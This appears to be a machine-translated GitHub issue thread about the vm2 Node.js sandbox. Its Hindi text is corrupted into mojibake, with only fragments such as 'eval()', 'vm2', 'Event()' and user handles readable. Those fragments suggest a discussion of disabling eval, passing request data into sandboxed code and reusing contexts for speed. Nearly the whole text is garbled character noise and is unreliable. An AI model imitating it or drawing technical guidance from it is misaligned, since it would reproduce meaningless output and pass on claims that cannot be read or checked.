@ рдПрд░рд┐рдХ 24 рддреЛ рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, NodeJS 10.9* рдХреЗ рдирдП рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдЙрдирдХреЗ рдкрд╛рд╕ vm рдореЗрдВ eval() рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рдХрд╛ рд╡рд┐рдХрд▓реНрдк рд╣реИ ред рддреЛ рдХреНрдпрд╛ рдпрд╣ рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ рдпрд╛ рдХреНрдпрд╛ рдореБрдЭреЗ рдЕрднреА рднреА рдЗрд╕реЗ C . рд╕реЗ рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ?

рдкреБрд░рд╛рдиреЗ рдзрд╛рдЧреЗ рдореЗрдВ рдХреВрджрдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЦреЗрдж рд╣реИред

рд╣рд╛рд▓рд╛рдВрдХрд┐, рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд▓рдХреНрд╖реНрдп рдЙрдкрдпреЛрдЧ-рдорд╛рдорд▓реЗ рдореЗрдВ, рдореБрдЭреЗ рд╣рд░ рдмрд╛рд░ рд╕рдВрджрд░реНрдн рдХреЛ рдлрд┐рд░ рд╕реЗ рдмрдирд╛рдирд╛ рд╣реЛрдЧрд╛ (рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд╕рдВрдХрд▓рд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдХреИрд╢ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛), рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рд░рди рдЕрджреНрд╡рд┐рддреАрдп рд╣реИ рдФрд░ рдПрдХ рдирдП рд╕рдВрджрд░реНрдн рд╕реЗ рд╢реБрд░реВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП)ред

@ рдПрд░рд┐рдХ 24 рдореИрдВ рджреЗрдЦ рд░рд╣рд╛ рд╣реВрдВ рдХрд┐ рдореИрдВ рд╕рд░реНрд╡рд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдЕрдВрджрд░ vm2 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдХреБрдЫ рдордирдорд╛рдирд╛ рдХреЛрдб рдХреИрд╕реЗ рдЪрд▓рд╛ рд╕рдХрддрд╛ рд╣реВрдВред рдореЗрд░рд╛ рдорд╛рдирдирд╛ тАЛтАЛтАЛтАЛрд╣реИ рдХрд┐ рдореЗрд░рд╛ рдЙрдкрдпреЛрдЧ рдорд╛рдорд▓рд╛ рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдмрддрд╛рдП рдЧрдП рд╕рдорд╛рди рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдореИрдВ рджреЗрдЦ рд░рд╣рд╛ рд╣реВрдВ рдХрд┐ рдореИрдВ рдЖрдиреЗ рд╡рд╛рд▓реЗ рдЕрдиреБрд░реЛрдз рд╕реЗ рд╡реАрдПрдо рдХреЗ рдЕрдВрджрд░ рдЪрд▓ рд░рд╣реЗ рдХреЛрдб рдореЗрдВ рдкреИрд░рд╛рдореАрдЯрд░/рддрд░реНрдХ рдХреИрд╕реЗ рдкрд╛рд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реВрдВред

рдЕрднреА рдореИрдВ рдРрд╕рд╛ рдХрд░рдиреЗ рдХрд╛ рдПрдХрдорд╛рддреНрд░ рддрд░реАрдХрд╛ рджреЗрдЦ рд╕рдХрддрд╛ рд╣реВрдВ рдХрд┐ рд╣рд░ рдмрд╛рд░ рдПрдХ рдирдпрд╛ рд╕рдВрджрд░реНрдн рдмрдирд╛рдпрд╛ рдЬрд╛рдП рд▓реЗрдХрд┐рди рдпрд╣ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдзреАрдорд╛ рд╣реИред рдореИрдВ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣рд╛ рд╣реВрдВ рдХрд┐ рдХреНрдпрд╛ рдореИрдВ рдПрдХ рд╕рдВрджрд░реНрдн рд╡рд╕реНрддреБ рдХрд╛ рдкреБрди: рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реВрдВ рд▓реЗрдХрд┐рди рд╡реАрдПрдо рдХреЗ рдЕрдВрджрд░ рдЪрд▓ рд░рд╣реЗ рдХреЛрдб рдХреЛ рдбреЗрдЯрд╛ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рдЕрдиреНрдп рддрдВрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реВрдВред @parasyte рдиреЗ Event() рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджреНрд╡рд┐рджрд┐рд╢ рд╕рдВрдЪрд╛рд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдмрддрд╛рдпрд╛ рд▓реЗрдХрд┐рди рдпрд╣ рдореЗрд░реЗ рд▓рд┐рдП рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕реНрдкрд╖реНрдЯ рдирд╣реАрдВ рдерд╛ред

рдореИрдВ рд╕реЛрдЪ рд░рд╣рд╛ рдерд╛ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рднреА рдЗрд╕реА рддрд░рд╣ рдХреА рд╕рдорд╕реНрдпрд╛ рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдпрджрд┐ рдЖрдкрдиреЗ рдХрд┐рдпрд╛, рддреЛ рдХреНрдпрд╛ рдЖрдк рдХреБрдЫ рд╕реБрдЭрд╛рд╡ рд╕рд╛рдЭрд╛ рдХрд░рдирд╛ рдЪрд╛рд╣реЗрдВрдЧреЗ рдХрд┐ рдЖрдкрдиреЗ рдЗрд╕реЗ рдХреИрд╕реЗ рд╣рд▓ рдХрд┐рдпрд╛? рдЖрдкрдХреЗ рд╕рдордп рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рджред

@darahayes : рдЕрд╕рд▓ рдореЗрдВ, рдореИрдВ рдкреНрд░рддреНрдпреЗрдХ рд░рди рдХреЗ рд▓рд┐рдП рдПрдХ рдирдпрд╛ рд╕рдВрджрд░реНрдн рдмрдирд╛ рд░рд╣рд╛ рд╣реВрдВ, рд▓реЗрдХрд┐рди рдореБрдЭреЗ рдпрд╣ рдзреАрдорд╛ рдирд╣реАрдВ рд▓рдЧрддрд╛ рд╣реИред рдЖрдк рдХрд┐рд╕ рддрд░рд╣ рдХрд╛ рдкреНрд░рджрд░реНрд╢рди рджреЗрдЦ рд░рд╣реЗ рд╣реИрдВ рдмрдирд╛рдо рдЖрдк рдХреНрдпрд╛ рдЙрдореНрдореАрдж рдХрд░ рд░рд╣реЗ рд╣реИрдВ? рдФрд░ рдЖрдк рдкреНрд░рджрд░реНрд╢рди рдХреЛ рдХреИрд╕реЗ рдорд╛рдк рд░рд╣реЗ рд╣реИрдВ?

рдореИрдВ рдкреНрд░рддреНрдпреЗрдХ рд░рди рдХреЗ рд▓рд┐рдП рдПрдХ рдирдИ рдиреЛрдбрдЬ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рддреИрдпрд╛рд░ рдХрд░ рд░рд╣рд╛ рд╣реВрдВ, рдФрд░ рдпрд╣ рдЙрддрдирд╛ рдмреБрд░рд╛ рдирд╣реАрдВ рд╣реИ, 100 рдПрдордПрд╕ рд╕реЗ рдХрдо рдХреА рджреЗрд░реА рд╣реИред

рдХреНрдпрд╛ рдпрд╣ рдкреГрд╖реНрда рдЙрдкрдпреЛрдЧреА рдерд╛?
0 / 5 - 0 рд░реЗрдЯрд┐рдВрдЧреНрд╕

рд╕рдВрдмрдВрдзрд┐рдд рдореБрджреНрджреЛрдВ

somebody1234 picture somebody1234  ┬╖  4рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ

KonradLinkowski picture KonradLinkowski  ┬╖  10рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ

patriksimek picture patriksimek  ┬╖  15рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ

wintertime-inc picture wintertime-inc  ┬╖  5рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ

wojpawlik picture wojpawlik  ┬╖  4рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ